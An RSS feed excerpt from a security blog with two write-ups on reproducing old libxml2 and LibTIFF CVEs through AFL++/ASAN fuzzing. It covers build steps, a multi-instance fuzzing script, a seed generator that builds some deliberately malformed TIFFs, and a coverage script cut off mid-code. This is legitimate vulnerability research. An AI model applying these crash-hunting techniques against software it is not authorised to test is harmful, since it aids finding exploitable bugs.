<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>熵餘記事</title><description>塵海起伏，心燈長明</description><link>https://cubeyond.net/</link><language>en</language><follow_challenge><feedId>195881399592773632</feedId><userId>195872983380883456</userId></follow_challenge><item><title>CVE-2017-9048: libxml2</title><link>https://cubeyond.net/posts/fuzz/libxml2-cve-2017-9048/</link><guid isPermaLink="true">https://cubeyond.net/posts/fuzz/libxml2-cve-2017-9048/</guid><description>Stack buffer overflow vulnerability affecting the DTD validation functionality of libxml2</description><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import CveCard from &quot;@components/misc/CveCard.astro&quot;;&lt;/p&gt;
&lt;h1&gt;CVE-2017-9048&lt;/h1&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;&amp;lt;CveCard id=&quot;CVE-2017-9048&quot; /&amp;gt;&lt;/p&gt;
&lt;h1&gt;Compile&lt;/h1&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/GNOME/libxml2.git &amp;amp;&amp;amp; cd libxml2
git checkout v2.9.4
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build&lt;/h2&gt;
&lt;p&gt;由于这个漏洞发生在 &lt;code&gt;valid.c&lt;/code&gt; 的 &lt;code&gt;xmlSnprintfElementContent&lt;/code&gt; 中，所以我们可以禁用一些无关的东西来提高 fuzzing 效率。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./autogen.sh
AFL_USE_ASAN=1 \
CC=afl-clang-lto \
CXX=afl-clang-lto++ \
./configure \
  --prefix=&quot;$(realpath ../libxml2-fuzz-asan)&quot; \
  --disable-shared \
  --without-debug \
  --without-ftp \
  --without-http \
  --without-legacy \
  --without-python
make clean &amp;amp;&amp;amp; \
AFL_USE_ASAN=1 make -j`nproc` &amp;amp;&amp;amp; \
AFL_USE_ASAN=1 make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每次耗时最长的就是「如何编译」……&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6t7o58cnkj.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;看了一圈，报错原因全都是因为 &lt;code&gt;invalid token at start of a preprocessor expression&lt;/code&gt;，而这个错误的产生又是因为 &lt;code&gt;.in&lt;/code&gt; 文件中 &lt;code&gt;@@&lt;/code&gt; 占位多了一个空格，比如 &lt;code&gt;@WITH_PUSH @&lt;/code&gt;，把那个空格去掉即可。&lt;/p&gt;
&lt;p&gt;如果使用 &lt;code&gt;grug-far.nvim&lt;/code&gt;，那可以用 &lt;code&gt;@([^@\s]+)\s+@&lt;/code&gt; 搜索，&lt;code&gt;@$1@&lt;/code&gt; 替换：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.60usnig7i5.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;之后再次编译就没问题了。&lt;/p&gt;
&lt;p&gt;说实话这个插桩数量确实有点吓人了，光插桩就用了十三分钟……所以一会儿我们必须多线程 fuzz 才行。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.45i7uztydz.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;为了检查插桩是否成功，可以使用 &lt;code&gt;ASAN_OPTIONS=help=1 ../libxml2-fuzz-asan/bin/xmllint&lt;/code&gt;，或者查看符号：&lt;code&gt;nm ../libxml2-fuzz-asan/bin/xmllint | rg -i asan&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;由于 ASAN 会占用大量内存，并造成 2x - 10x 的减速，所以建议是只开一个 ASAN 线程用来找错，剩下线程都用普通插桩的版本来快速探路提高吞吐量。&lt;/p&gt;
&lt;p&gt;更多信息可参考 &lt;a href=&quot;https://aflplus.plus/docs/notes_for_asan/&quot;&gt;Notes for using ASAN with afl-fuzz&lt;/a&gt; 。&lt;/p&gt;
&lt;p&gt;再编译一个普通版：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CC=afl-clang-lto \
CXX=afl-clang-lto++ \
./configure \
  --prefix=&quot;$(realpath ../libxml2-fuzz-lite)&quot; \
  --disable-shared \
  --without-debug \
  --without-ftp \
  --without-http \
  --without-legacy \
  --without-python
make clean &amp;amp;&amp;amp; \
make -j`nproc` &amp;amp;&amp;amp; \
make install
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Samples&lt;/h1&gt;
&lt;p&gt;由于随机编译很难凑出一个正确的 xml tag, 所以我们可以给 fuzzer 加上字典，增加它撞到正确格式的概率。AFL++ 提供了一些常用字典：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6m4gb72gdu.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;至于 corpus, libxml2 自己的 test 目录下就有一些，然后我又自己写了两个 &lt;code&gt;&amp;lt;!DOCTYPE a []&amp;gt;&lt;/code&gt; 和 &lt;code&gt;&amp;lt;a b=&quot;c&quot;&amp;gt;d&amp;lt;/a&amp;gt;&lt;/code&gt;。&lt;/p&gt;
&lt;h1&gt;Fuzzing&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;xmllint&lt;/code&gt; 有很多选项，理想情况是尽可能都组合上用一遍，以便让它能探索到更多路径。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.58hx5x2e9c.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;我写了个自动起多线程 fuzz 的脚本，并在参数池中随便放了几个参数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

MASTER_BIN=&quot;../libxml2-fuzz-asan/bin/xmllint&quot;
SLAVE_BIN=&quot;../libxml2-fuzz-lite/bin/xmllint&quot;
INPUT_CORPUS=&quot;corpus&quot;
OUTPUT_DIR=&quot;outs&quot;
SHM_BASE=&quot;/dev/shm/fuzz&quot;

# Arguments for the Master instance
MASTER_ARGS=&quot;--debug --valid&quot;

# Argument pool for Slave instances
SLAVE_ARGS_POOL=(
  &quot;--memory --oldxml10&quot;
  &quot;--postvalid&quot;
)

# --- Dictionary Support ---
DICT_PATH=&quot;./dict/xml.dict&quot;
DICT_OPT=&quot;&quot;
if [ -d &quot;$DICT_PATH&quot; ] || [ -f &quot;$DICT_PATH&quot; ]; then
  DICT_OPT=&quot;-x $DICT_PATH&quot;
fi

# --- Environment Check ---
if [ ! -f &quot;$MASTER_BIN&quot; ] || [ ! -f &quot;$SLAVE_BIN&quot; ]; then
  echo &quot;[-] Error: Fuzzing binaries not found. Check your paths.&quot;
  exit 1
fi

TOTAL_THREADS=${1:-4}
if [ &quot;$TOTAL_THREADS&quot; -lt 1 ]; then
  echo &quot;Usage: $0 [total_threads]&quot;
  exit 1
fi

# --- Resume Logic ---
if [ -d &quot;$OUTPUT_DIR/master&quot; ]; then
  echo &quot;[*] Existing output detected. Resuming fuzzing session...&quot;
  INPUT_OPT=&quot;-i -&quot;
else
  echo &quot;[*] First run. Using input corpus: $INPUT_CORPUS&quot;
  mkdir -p &quot;$OUTPUT_DIR&quot;
  INPUT_OPT=&quot;-i $INPUT_CORPUS&quot;
fi

mkdir -p &quot;$SHM_BASE&quot;

# --- Launch Master (ASAN) ---
echo &quot;[+] Launching Master (ASAN) | Args: $MASTER_ARGS @@&quot;
mkdir -p &quot;$SHM_BASE/master&quot;
AFL_TMPDIR=&quot;$SHM_BASE/master&quot; \
  afl-fuzz $INPUT_OPT \
  -o &quot;$OUTPUT_DIR&quot; \
  -m none \
  $DICT_OPT \
  -M master \
  -- &quot;$MASTER_BIN&quot; $MASTER_ARGS @@ &amp;gt;&quot;$OUTPUT_DIR/master.log&quot; 2&amp;gt;&amp;amp;1 &amp;amp;

# Brief sleep to let Master initialize
sleep 2

# --- Launch Slaves (Non-ASAN) ---
NUM_VARIANTS=${#SLAVE_ARGS_POOL[@]}

for i in $(seq 1 $((TOTAL_THREADS - 1))); do
  SLAVE_NAME=&quot;slave_$i&quot;
  ARG_INDEX=$(((i - 1) % NUM_VARIANTS))
  CURRENT_ARGS=${SLAVE_ARGS_POOL[$ARG_INDEX]}

  echo &quot;[+] Launching $SLAVE_NAME | Args: $CURRENT_ARGS @@&quot;
  mkdir -p &quot;$SHM_BASE/$SLAVE_NAME&quot;

  AFL_TMPDIR=&quot;$SHM_BASE/$SLAVE_NAME&quot; \
    afl-fuzz $INPUT_OPT \
    -o &quot;$OUTPUT_DIR&quot; \
    -m none \
    $DICT_OPT \
    -S &quot;$SLAVE_NAME&quot; \
    -- &quot;$SLAVE_BIN&quot; $CURRENT_ARGS @@ &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;
done

echo &quot;------------------------------------------------------&quot;
echo &quot;[!] Successfully started $TOTAL_THREADS instances with @@ input mode.&quot;
echo &quot;[!] Check status: afl-whatsup $OUTPUT_DIR&quot;
echo &quot;[!] Stop all:     pkill afl-fuzz&quot;
echo &quot;------------------------------------------------------&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;搞明白怎么多线程 fuzz, 这个 chall 最关键的部分就算是完成了，至于跑出来的 crashes 中有没有我们期望的那个，要跑多久，已经意义不大了。所以，拜拜。&lt;/p&gt;
&lt;p&gt;~说着，滚床上干了一个小时论文调研，下来一看发现已经有不少 crashes 了。~&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2dp91lris6.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;哎呀这个 ASAN 又帅又好用，好喜欢 &lt;em&gt;uwu&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.92qoqczfye.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>CVE-2016-9297: LibTIFF</title><link>https://cubeyond.net/posts/fuzz/libtiff-cve-2016-9297/</link><guid isPermaLink="true">https://cubeyond.net/posts/fuzz/libtiff-cve-2016-9297/</guid><description>Denial of Service (out-of-bounds read) via a crafted tag value.</description><pubDate>Fri, 06 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import CveCard from &quot;@components/misc/CveCard.astro&quot;;&lt;/p&gt;
&lt;h1&gt;CVE-2016-9297&lt;/h1&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;&amp;lt;CveCard id=&quot;CVE-2016-9297&quot; /&amp;gt;&lt;/p&gt;
&lt;h1&gt;Compile&lt;/h1&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;p&gt;虽然 Mitre 的 description 写是 4.0.6 版本的漏洞，但是 chall 的 description 说 4.0.4，那就用 4.0.4 吧。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://gitlab.com/libtiff/libtiff.git &amp;amp;&amp;amp; cd libtiff
git checkout v4.0.4
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;mkdir ../libtiff-build-fuzz
cd ../libtiff-build-fuzz
CC=afl-clang-lto \
CXX=afl-clang-lto++ \
../libtiff/configure \
  --prefix=&quot;$(realpath ../libtiff-fuzz)&quot; \
  --disable-shared
make clean &amp;amp;&amp;amp; make -j`nproc` &amp;amp;&amp;amp; make install

mkdir ../libtiff-build-fuzz-asan
cd ../libtiff-build-fuzz-asan
AFL_USE_ASAN=1 \
CC=afl-clang-lto \
CXX=afl-clang-lto++ \
../libtiff/configure \
  --prefix=&quot;$(realpath ../libtiff-fuzz-asan)&quot; \
  --disable-shared
make clean &amp;amp;&amp;amp; AFL_USE_ASAN=1 make -j`nproc` &amp;amp;&amp;amp; AFL_USE_ASAN=1 make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;make 的时候遇到两个定义不完整的报错，直接在 &lt;code&gt;tif_predict.h&lt;/code&gt; 中加入下面两行即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &quot;tiffio.h&quot;
#include &quot;tiffiop.h&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Samples&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python

import os
import subprocess
import struct

def run_cmd(cmd):
    try:
        subprocess.run(cmd, check=True, capture_output=True)
    except subprocess.CalledProcessError as e:
        print(f&quot;Error running {&apos; &apos;.join(cmd)}: {e}&quot;)

def create_minimal_tiff(filename, width=8, height=8):
    # Minimal 8x8 BW TIFF (1 bit per pixel)
    # Header
    header = b&apos;II&apos; + struct.pack(&apos;&amp;lt;HI&apos;, 42, 8) # II, 42, offset to IFD=8

    # IFD
    num_entries = 11
    ifd_offset = 8
    next_ifd_offset = 0

    # Tags:
    # 256 (Width), 257 (Height), 258 (BitsPerSample), 259 (Compression),
    # 262 (Photometric), 273 (StripOffsets), 277 (SamplesPerPixel),
    # 278 (RowsPerStrip), 279 (StripByteCounts), 282 (XRes), 283 (YRes)

    # Each entry is 12 bytes
    entries = []
    def add_entry(tag, type, count, value):
        entries.append(struct.pack(&apos;&amp;lt;HHII&apos;, tag, type, count, value))

    add_entry(256, 3, 1, width)  # Width
    add_entry(257, 3, 1, height) # Height
    add_entry(258, 3, 1, 1)      # BitsPerSample
    add_entry(259, 3, 1, 1)      # Compression (None)
    add_entry(262, 3, 1, 1)      # Photometric (MinIsBlack)
    add_entry(273, 4, 1, 8 + 2 + num_entries*12 + 4 + 16) # StripOffsets (after IFD and Res values)
    add_entry(277, 3, 1, 1)      # SamplesPerPixel
    add_entry(278, 3, 1, height) # RowsPerStrip
    add_entry(279, 4, 1, (width * height + 7) // 8) # StripByteCounts
    add_entry(282, 5, 1, 8 + 2 + num_entries*12 + 4) # XRes (offset)
    add_entry(283, 5, 1, 8 + 2 + num_entries*12 + 4 + 8) # YRes (offset)

    ifd = struct.pack(&apos;&amp;lt;H&apos;, num_entries) + b&apos;&apos;.join(entries) + struct.pack(&apos;&amp;lt;I&apos;, next_ifd_offset)

    # Rational values for XRes, YRes (72/1)
    res_values = struct.pack(&apos;&amp;lt;IIII&apos;, 72, 1, 72, 1)

    # Image data (all zeros for simplicity)
    data = b&apos;\x00&apos; * ((width * height + 7) // 8)

    with open(filename, &apos;wb&apos;) as f:
        f.write(header)
        f.write(ifd)
        f.write(res_values)
        f.write(data)

def create_grayscale_tiff(filename, width=8, height=8, bpp=8):
    # Header
    header = b&apos;II&apos; + struct.pack(&apos;&amp;lt;HI&apos;, 42, 8)

    num_entries = 11
    entries = []
    def add_entry(tag, type, count, value):
        entries.append(struct.pack(&apos;&amp;lt;HHII&apos;, tag, type, count, value))

    data_offset = 8 + 2 + num_entries*12 + 4 + 16

    add_entry(256, 3, 1, width)  # Width
    add_entry(257, 3, 1, height) # Height
    add_entry(258, 3, 1, bpp)    # BitsPerSample
    add_entry(259, 3, 1, 1)      # Compression
    add_entry(262, 3, 1, 1)      # Photometric (MinIsBlack)
    add_entry(273, 4, 1, data_offset) # StripOffsets
    add_entry(277, 3, 1, 1)      # SamplesPerPixel
    add_entry(278, 3, 1, height) # RowsPerStrip
    add_entry(279, 4, 1, width * height * (bpp // 8)) # StripByteCounts
    add_entry(282, 5, 1, 8 + 2 + num_entries*12 + 4) # XRes
    add_entry(283, 5, 1, 8 + 2 + num_entries*12 + 4 + 8) # YRes

    ifd = struct.pack(&apos;&amp;lt;H&apos;, num_entries) + b&apos;&apos;.join(entries) + struct.pack(&apos;&amp;lt;I&apos;, 0)
    res_values = struct.pack(&apos;&amp;lt;IIII&apos;, 72, 1, 72, 1)
    data = b&apos;\x80&apos; * (width * height * (bpp // 8)) # Gray data

    with open(filename, &apos;wb&apos;) as f:
        f.write(header)
        f.write(ifd)
        f.write(res_values)
        f.write(data)

def create_rgb_tiff(filename, width=8, height=8):
    header = b&apos;II&apos; + struct.pack(&apos;&amp;lt;HI&apos;, 42, 8)
    num_entries = 12
    entries = []
    def add_entry(tag, type, count, value):
        entries.append(struct.pack(&apos;&amp;lt;HHII&apos;, tag, type, count, value))

    bps_offset = 8 + 2 + num_entries*12 + 4
    res_offset = bps_offset + 6
    data_offset = res_offset + 16

    add_entry(256, 3, 1, width)  # Width
    add_entry(257, 3, 1, height) # Height
    add_entry(258, 3, 3, bps_offset) # BitsPerSample (3 values)
    add_entry(259, 3, 1, 1)      # Compression
    add_entry(262, 3, 1, 2)      # Photometric (RGB)
    add_entry(273, 4, 1, data_offset) # StripOffsets
    add_entry(277, 3, 1, 3)      # SamplesPerPixel
    add_entry(278, 3, 1, height) # RowsPerStrip
    add_entry(279, 4, 1, width * height * 3) # StripByteCounts
    add_entry(282, 5, 1, res_offset) # XRes
    add_entry(283, 5, 1, res_offset + 8) # YRes
    add_entry(284, 3, 1, 1)      # PlanarConfig (Contig)

    ifd = struct.pack(&apos;&amp;lt;H&apos;, num_entries) + b&apos;&apos;.join(entries) + struct.pack(&apos;&amp;lt;I&apos;, 0)
    bps_values = struct.pack(&apos;&amp;lt;HHH&apos;, 8, 8, 8)
    res_values = struct.pack(&apos;&amp;lt;IIII&apos;, 72, 1, 72, 1)
    data = b&apos;\xff\x00\x00&apos; * (width * height) # Red image

    with open(filename, &apos;wb&apos;) as f:
        f.write(header)
        f.write(ifd)
        f.write(bps_values)
        f.write(res_values)
        f.write(data)

def create_palette_tiff(filename, width=8, height=8):
    header = b&apos;II&apos; + struct.pack(&apos;&amp;lt;HI&apos;, 42, 8)
    num_entries = 12
    entries = []
    def add_entry(tag, type, count, value):
        entries.append(struct.pack(&apos;&amp;lt;HHII&apos;, tag, type, count, value))

    cmap_offset = 8 + 2 + num_entries*12 + 4
    res_offset = cmap_offset + 256 * 3 * 2 # 256 colors, RGB, 2 bytes each
    data_offset = res_offset + 16

    add_entry(256, 3, 1, width)  # Width
    add_entry(257, 3, 1, height) # Height
    add_entry(258, 3, 1, 8)      # BitsPerSample
    add_entry(259, 3, 1, 1)      # Compression
    add_entry(262, 3, 1, 3)      # Photometric (Palette)
    add_entry(273, 4, 1, data_offset) # StripOffsets
    add_entry(277, 3, 1, 1)      # SamplesPerPixel
    add_entry(278, 3, 1, height) # RowsPerStrip
    add_entry(279, 4, 1, width * height) # StripByteCounts
    add_entry(282, 5, 1, res_offset) # XRes
    add_entry(283, 5, 1, res_offset + 8) # YRes
    add_entry(320, 3, 256 * 3, cmap_offset) # ColorMap

    ifd = struct.pack(&apos;&amp;lt;H&apos;, num_entries) + b&apos;&apos;.join(entries) + struct.pack(&apos;&amp;lt;I&apos;, 0)

    # Color map: 256 RGB values, each 2 bytes (16-bit)
    cmap = b&apos;&apos;
    for i in range(256): cmap += struct.pack(&apos;&amp;lt;H&apos;, i * 256) # Red
    for i in range(256): cmap += struct.pack(&apos;&amp;lt;H&apos;, i * 256) # Green
    for i in range(256): cmap += struct.pack(&apos;&amp;lt;H&apos;, i * 256) # Blue

    res_values = struct.pack(&apos;&amp;lt;IIII&apos;, 72, 1, 72, 1)
    data = bytes([i % 256 for i in range(width * height)])

    with open(filename, &apos;wb&apos;) as f:
        f.write(header)
        f.write(ifd)
        f.write(cmap)
        f.write(res_values)
        f.write(data)

def main():
    corpus_dir = &quot;corpus&quot;
    if not os.path.exists(corpus_dir):
        os.makedirs(corpus_dir)

    base_tiff = os.path.join(corpus_dir, &quot;base_bw.tif&quot;)
    create_minimal_tiff(base_tiff)

    base_gray8 = os.path.join(corpus_dir, &quot;base_gray8.tif&quot;)
    create_grayscale_tiff(base_gray8, bpp=8)

    base_gray16 = os.path.join(corpus_dir, &quot;base_gray16.tif&quot;)
    create_grayscale_tiff(base_gray16, bpp=16)

    base_rgb = os.path.join(corpus_dir, &quot;base_rgb.tif&quot;)
    create_rgb_tiff(base_rgb)

    base_palette = os.path.join(corpus_dir, &quot;base_palette.tif&quot;)
    create_palette_tiff(base_palette)

    bases = [base_tiff, base_gray8, base_gray16, base_rgb, base_palette]

    # Use tiffcp to create variations
    compressions = [&quot;none&quot;, &quot;lzw&quot;, &quot;zip&quot;, &quot;packbits&quot;, &quot;zstd&quot;]
    for base in bases:
        base_name = os.path.basename(base).split(&apos;.&apos;)[0]
        for comp in compressions:
            out = os.path.join(corpus_dir, f&quot;{base_name}_{comp}.tif&quot;)
            run_cmd([&quot;tiffcp&quot;, &quot;-c&quot;, comp, base, out])

            out_tile = os.path.join(corpus_dir, f&quot;{base_name}_{comp}_tile.tif&quot;)
            run_cmd([&quot;tiffcp&quot;, &quot;-c&quot;, comp, &quot;-t&quot;, &quot;-w&quot;, &quot;8&quot;, &quot;-l&quot;, &quot;8&quot;, base, out_tile])

    # Special compressions for BW
    for comp in [&quot;g3&quot;, &quot;g4&quot;]:
        run_cmd([&quot;tiffcp&quot;, &quot;-c&quot;, comp, base_tiff, os.path.join(corpus_dir, f&quot;bw_{comp}.tif&quot;)])

    # JPEG for RGB
    run_cmd([&quot;tiffcp&quot;, &quot;-c&quot;, &quot;jpeg&quot;, base_rgb, os.path.join(corpus_dir, &quot;rgb_jpeg.tif&quot;)])

    # BigTIFF
    run_cmd([&quot;tiffcp&quot;, &quot;-8&quot;, base_rgb, os.path.join(corpus_dir, &quot;bigtiff_rgb.tif&quot;)])

    # Byte order
    run_cmd([&quot;tiffcp&quot;, &quot;-B&quot;, base_rgb, os.path.join(corpus_dir, &quot;big_endian_rgb.tif&quot;)])

    # Planar configuration
    run_cmd([&quot;tiffcp&quot;, &quot;-p&quot;, &quot;separate&quot;, base_rgb, os.path.join(corpus_dir, &quot;separate_rgb.tif&quot;)])

    # Add some tags
    tagged_tiff = os.path.join(corpus_dir, &quot;tagged_rgb.tif&quot;)
    run_cmd([&quot;cp&quot;, base_rgb, tagged_tiff])
    run_cmd([&quot;tiffset&quot;, &quot;-s&quot;, &quot;315&quot;, &quot;Fuzzer&quot;, tagged_tiff])

    # Broken cases
    # Circular IFD (from base_bw)
    circular = os.path.join(corpus_dir, &quot;circular.tif&quot;)
    with open(base_tiff, &apos;rb&apos;) as f:
        data = bytearray(f.read())
    # Find next_ifd_offset (last 4 bytes of IFD)
    # IFD starts at 8, has 11 entries (11*12=132), + 2 bytes for count = 134.
    # next_ifd_offset is at index 142
    if len(data) &amp;gt;= 146:
        data[142:146] = struct.pack(&apos;&amp;lt;I&apos;, 8)
        with open(circular, &apos;wb&apos;) as f:
            f.write(data)

    # Huge dimensions
    huge_dim = os.path.join(corpus_dir, &quot;huge_dim.tif&quot;)
    create_minimal_tiff(huge_dim)
    run_cmd([&quot;tiffset&quot;, &quot;-s&quot;, &quot;256&quot;, &quot;1000000&quot;, huge_dim])
    run_cmd([&quot;tiffset&quot;, &quot;-s&quot;, &quot;257&quot;, &quot;1000000&quot;, huge_dim])

    # Invalid compression tag
    invalid_comp = os.path.join(corpus_dir, &quot;invalid_comp.tif&quot;)
    create_minimal_tiff(invalid_comp)
    run_cmd([&quot;tiffset&quot;, &quot;-s&quot;, &quot;259&quot;, &quot;65535&quot;, invalid_comp])

    print(f&quot;Generated {len(os.listdir(corpus_dir))} samples in {corpus_dir}&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除了 AI 生成的这些样本外，&lt;code&gt;test/images/&lt;/code&gt; 中也有一些样本可以拿来用。&lt;/p&gt;
&lt;h1&gt;Fuzzing&lt;/h1&gt;
&lt;p&gt;编译出来发现有一堆程序，哪个才是我们的目标呢？&lt;/p&gt;
&lt;p&gt;查看 Mitre 给出的 references，其中 &lt;a href=&quot;http://bugzilla.maptools.org/show_bug.cgi?id=2590&quot;&gt;Bug 2590 - CVE-2016-9297: segfault in _TIFFPrintField (tif_print.c:127)&lt;/a&gt; 写道：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Triggered in libtiff 4.0.6 with AFL and ASAN. Only crashes if I LD_PRELOAD AFL&apos;s libdislocator (more info: https://github.com/mirrorer/afl/tree/master/libdislocator).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;LD_PRELOAD=/root/afl-2.35b/libdislocator/libdislocator.so ./tiffinfo -i test000&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;由此可知我们 fuzz 的目标是 &lt;code&gt;tiffinfo&lt;/code&gt; 。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4n89frq8jh.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;我们将所有的输出参数都用上，以便提高覆盖率，这里只开了两个线程 fuzz：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p /dev/shm/{normal,asan}

AFL_TMPDIR=/dev/shm/asan \
afl-fuzz -i corpus \
         -o outs \
         -m none \
         -M asan \
         -- ../libtiff-fuzz-asan/bin/tiffinfo -Dcjrsw @@

AFL_TMPDIR=/dev/shm/normal \
afl-fuzz -i corpus \
         -o outs \
         -m none \
         -S normal \
         -- ../libtiff-fuzz/bin/tiffinfo -Dcjrsw @@
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;刚跑了两分钟，ASAN 那个线程以每秒一百多 crashes 的速度产出……吓坏了（&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6f18czvboq.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;h2&gt;Coverage&lt;/h2&gt;
&lt;p&gt;这个 chall 主要是让我们使用 &lt;a href=&quot;https://github.com/linux-test-project/lcov&quot;&gt;lcov&lt;/a&gt; 来生成覆盖率报告的，不过我选择 llvm-cov，而不是 lcov 。&lt;/p&gt;
&lt;p&gt;先单独编译一个 cov 插桩的版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir ../libtiff-build-cov
cd libtiff-build-cov
CC=clang \
CXX=clang++ \
CFLAGS=&quot;-fprofile-instr-generate -fcoverage-mapping&quot; \
CXXFLAGS=&quot;$CFLAGS&quot; \
../libtiff/configure \
  --prefix=&quot;$(realpath ../libtiff-cov)&quot; \
  --disable-shared
make clean &amp;amp;&amp;amp; AFL_USE_ASAN=1 make -j`nproc` &amp;amp;&amp;amp; AFL_USE_ASAN=1 make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后可以使用如下脚本自动生成覆盖率报告：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python

import os
import subprocess
import glob
import argparse

def run_cmd(cmd, env=None):
    &quot;&quot;&quot;Run a shell command and return the output.&quot;&quot;&quot;
    try:
        result = subprocess.run(cmd, shell=True, env=env, capture_output=True, text=True)
        return result.returncode, result.stdout, result.stderr
    except Exception as e:
        return 1, &quot;&quot;, str(e)

def main():
    parser = argparse.ArgumentParser(description=&quot;Generate llvm-cov report from AFL++ samples.&quot;)
    parser.add_argument(&quot;--bin&quot;, required=True, help=&quot;Path to the instrumented binary.&quot;)
    parser.add_argument(&quot;--samples&quot;, required=True, help=&quot;Directory containing AFL++ samples (e.g., output/default/queue).&quot;)
    parser.add_argument(&quot;--out&quot;, default=&quot;coverage_report&quot;, help=&quot;Directory to save the HTML report (default: coverage_report).&quot;)
    parser.add_argument(&quot;--profraw-dir&quot;, default=&quot;profraws&quot;, help=&quot;Directory to store intermediate .profraw files.&quot;)
    parser.add_argument(&quot;--args&quot;, default=&quot;&quot;, help=&quot;Additional arguments to pass to the binary (use {} as placeholder for sample path).&quot;)

    args = parser.parse_args()

    # Create directories
    if not os.path.exists(args.profraw_dir):
        os.makedirs(args.profraw_dir)
    if not os.path.exists(args.out):
        os.makedirs(args.out)

    # Find all samples
    samples = glob.glob(os.path.join(args.samples, &quot;*&quot;))
    # Filter only files (AFL++ directories might have subfolders)
    samples = [s for s in samples if os.path.isfile(s)]

    if not samples:
        print(f&quot;No samples found in {args.samples}&quot;)
        return

    print(f&quot;Found {len(samples)} samples. Running coverage...&quot;)

    # Set up environment for LLVM profile generation
    # %p is PID, %m is binary hash to avoid collisions
    env = os.environ.copy()

    for i, sample in enumerate(samples):
        profraw_path = os.path.abspath(os.path.join(args.profraw_dir, f&quot;sample_{i}.profraw&quot;))
        env[&quot;LLVM_PROFILE_FILE&quot;] = profraw_path

        # Construct command
        if &quot;{}&quot; in args.args:
